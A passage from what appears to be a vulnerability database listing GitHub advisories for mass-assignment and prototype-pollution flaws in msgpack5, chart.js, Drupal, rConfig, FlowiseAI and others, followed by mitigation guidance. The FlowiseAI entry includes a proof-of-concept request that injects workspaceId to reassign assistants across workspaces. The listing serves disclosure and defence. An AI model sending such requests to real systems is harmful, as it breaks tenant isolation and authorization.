Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)",
"id": "GHSA-gmjw-49p4-pcfm",
"modified": "2021-03-12T16:57:44Z",
"published": "2021-03-12T22:44:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21368"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v3.6.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v4.5.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v5.2.1"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/msgpack5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype poisoning"
}
GHSA-GR58-J5WH-M333
Vulnerability from github – Published: 2021-05-06 17:29 – Updated: 2021-05-05 21:33All versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nis-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7703"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-05T21:33:21Z",
"nvd_published_at": "2020-08-17T15:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.",
"id": "GHSA-gr58-j5wh-m333",
"modified": "2021-05-05T21:33:21Z",
"published": "2021-05-06T17:29:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7703"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-NISUTILS-598799"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in nis-utils"
}
GHSA-GR6Q-5P85-FQ4Q
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Plotly.js Graphing allows Object Injection. This issue affects Plotly.js Graphing versions: from 0.0.0 to 3.0.2.
{
"affected": [],
"aliases": [
"CVE-2026-55810"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:43Z",
"severity": "CRITICAL"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Plotly.js Graphing allows Object Injection. This issue affects Plotly.js Graphing versions: from 0.0.0 to 3.0.2.",
"id": "GHSA-gr6q-5p85-fq4q",
"modified": "2026-07-13T18:30:34Z",
"published": "2026-07-11T00:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55810"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GVF2-2F4G-JQF4
Vulnerability from github – Published: 2024-12-10 00:31 – Updated: 2025-06-04 00:50Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Remote Code Execution. It is not directly exploitable.
This issue is mitigated by the fact that in order for it to be exploitable, a separate vulnerability must be present to allow an attacker to pass unsafe input to unserialize(). There are no such known exploits in Drupal core.
To help protect against this potential vulnerability, some additional checks have been added to Drupal core's database code. If you use a third-party database driver, check the release notes for additional configuration steps that may be required in certain cases.
This issue affects Drupal Core: from 7.0 before 7.102, from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55638"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-10T19:09:18Z",
"nvd_published_at": "2024-12-10T00:15:22Z",
"severity": "HIGH"
},
"details": "Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Remote Code Execution. It is not directly exploitable.\n\nThis issue is mitigated by the fact that in order for it to be exploitable, a separate vulnerability must be present to allow an attacker to pass unsafe input to `unserialize()`. There are no such known exploits in Drupal core.\n\nTo help protect against this potential vulnerability, some additional checks have been added to Drupal core\u0027s database code. If you use a third-party database driver, check the release notes for additional configuration steps that may be required in certain cases. \n\nThis issue affects Drupal Core: from 7.0 before 7.102, from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9.",
"id": "GHSA-gvf2-2f4g-jqf4",
"modified": "2025-06-04T00:50:20Z",
"published": "2024-12-10T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55638"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2024-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Drupal core contains a potential PHP Object Injection vulnerability"
}
GHSA-H4RQ-P45C-642R
Vulnerability from github – Published: 2026-07-20 18:32 – Updated: 2026-07-20 18:32rConfig Core before 8.2.8 contains a privilege escalation vulnerability that allows authenticated users to assign arbitrary roles to any account by submitting an unvalidated role field through the Users API during user creation or profile updates. Attackers can exploit the missing allowlist validation and absent admin-level authorization check in StoreUserRequest to mass-assign the Admin role directly to the User model, granting access to privileged features. rConfig Pro and Enterprise are not affected.
{
"affected": [],
"aliases": [
"CVE-2026-63102"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T16:17:06Z",
"severity": "MODERATE"
},
"details": "rConfig Core before 8.2.8 contains a privilege escalation vulnerability that allows authenticated users to assign arbitrary roles to any account by submitting an unvalidated role field through the Users API during user creation or profile updates. Attackers can exploit the missing allowlist validation and absent admin-level authorization check in StoreUserRequest to mass-assign the Admin role directly to the User model, granting access to privileged features. rConfig Pro and Enterprise are not affected.",
"id": "GHSA-h4rq-p45c-642r",
"modified": "2026-07-20T18:32:32Z",
"published": "2026-07-20T18:32:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63102"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/pull/325"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/commit/84822f4051ed97d651b1b4d191c6da2aa8c3c037"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/releases/tag/core-8.2.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/rconfig-privilege-escalation-via-users-api-role-field"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H68Q-55JF-X68W
Vulnerability from github – Published: 2021-05-10 18:47 – Updated: 2021-04-20 17:46This affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "chart.js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7746"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-20T17:46:27Z",
"nvd_published_at": "2020-10-29T08:15:00Z",
"severity": "HIGH"
},
"details": "This affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.",
"id": "GHSA-h68q-55jf-x68w",
"modified": "2021-04-20T17:46:27Z",
"published": "2021-05-10T18:47:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7746"
},
{
"type": "WEB",
"url": "https://github.com/chartjs/Chart.js/pull/7920"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1019375"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBCHARTJS-1019376"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1019374"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-CHARTJS-1018716"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution in chart.js"
}
GHSA-HM82-QR45-H7MW
Vulnerability from github – Published: 2021-12-10 17:22 – Updated: 2023-09-08 22:51Prototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "field"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.1"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28269"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T18:23:15Z",
"nvd_published_at": "2020-11-12T18:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u0027field\u0027 versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-hm82-qr45-h7mw",
"modified": "2023-09-08T22:51:04Z",
"published": "2021-12-10T17:22:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28269"
},
{
"type": "WEB",
"url": "https://github.com/jprichardson/field/blob/2a3811dfc4cdd13833977477d2533534fc61ce06/lib/field.js#L39"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28269,"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in field"
}
GHSA-HP26-Q66V-Q2W7
Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-06-09 13:10Summary
A Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.
Details
The endpoint responsible for updating assistants:
PUT /api/v1/assistants/{assistantId}
accepts a JSON request body containing assistant metadata.
However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.
Server-controlled fields that can be manipulated include:
- workspaceId
- createdDate
- updatedDate
These fields appear to be directly mapped to the underlying database entity without strict DTO whitelisting or authorization checks.
For example, the following request body was accepted:
{
"details": "",
"credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249",
"iconSrc": null,
"type": "CUSTOM",
"createdDate": "2026-03-06T17:31:04.000Z",
"updatedDate": "2026-03-06T17:31:55.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
This indicates that internal, server-controlled properties can be modified by an authenticated user.
PoC
- Authenticate to the Flowise interface.
- Capture the request used to update an assistant:
PUT /api/v1/assistants/<ASSISTANT_ID>
Content-Type: application/json
Modify the request body by injecting server-controlled fields:
{
"details": "",
"credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249",
"iconSrc": null,
"type": "CUSTOM",
"createdDate": "2026-03-06T17:31:04.000Z",
"updatedDate": "2026-03-06T17:31:55.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
3.Send the request.
Observe that the response accepts and persists the attacker-controlled workspaceId and metadata fields.
Impact
This vulnerability allows authenticated users to manipulate internal attributes of assistant resources.
Confirmed impacts include:
- Cross-workspace reassignment of assistants (workspaceId)
- Unauthorized modification of metadata (createdDate, updatedDate)
In multi-tenant deployments, this may allow an attacker to move assistants between workspaces without authorization, breaking tenant isolation boundaries.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46441"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T14:57:46Z",
"nvd_published_at": "2026-06-08T16:16:41Z",
"severity": "HIGH"
},
"details": "### Summary\nA Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating assistants:\n\n**PUT /api/v1/assistants/{assistantId}**\n\naccepts a JSON request body containing assistant metadata.\n\nHowever, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.\n\nServer-controlled fields that can be manipulated include:\n\n1. workspaceId\n2. createdDate\n3. updatedDate\n\nThese fields appear to be directly mapped to the underlying database entity without strict DTO whitelisting or authorization checks.\n\nFor example, the following request body was accepted:\n\n```json\n{\n \"details\": \"\",\n \"credential\": \"11ca7fef-c9b1-4c87-aa54-e547aed8a249\",\n \"iconSrc\": null,\n \"type\": \"CUSTOM\",\n \"createdDate\": \"2026-03-06T17:31:04.000Z\",\n \"updatedDate\": \"2026-03-06T17:31:55.000Z\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThis indicates that internal, server-controlled properties can be modified by an authenticated user.\n\n### PoC\n\n1. Authenticate to the Flowise interface.\n2. Capture the request used to update an assistant:\n\n```http\nPUT /api/v1/assistants/\u003cASSISTANT_ID\u003e\nContent-Type: application/json\n\nModify the request body by injecting server-controlled fields:\n\n{\n \"details\": \"\",\n \"credential\": \"11ca7fef-c9b1-4c87-aa54-e547aed8a249\",\n \"iconSrc\": null,\n \"type\": \"CUSTOM\",\n \"createdDate\": \"2026-03-06T17:31:04.000Z\",\n \"updatedDate\": \"2026-03-06T17:31:55.000Z\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n\n```\n3.Send the request.\n\nObserve that the response accepts and persists the attacker-controlled workspaceId and metadata fields.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of assistant resources.\n\nConfirmed impacts include:\n\n- Cross-workspace reassignment of assistants (workspaceId)\n- Unauthorized modification of metadata (createdDate, updatedDate)\n\nIn multi-tenant deployments, this may allow an attacker to move assistants between workspaces without authorization, breaking tenant isolation boundaries.",
"id": "GHSA-hp26-q66v-q2w7",
"modified": "2026-06-09T13:10:13Z",
"published": "2026-05-14T14:57:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hp26-q66v-q2w7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46441"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.